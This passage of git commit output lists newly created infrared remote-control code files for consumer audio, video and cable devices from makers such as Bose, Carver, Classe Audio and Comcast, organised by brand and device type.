assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir create mode 100644 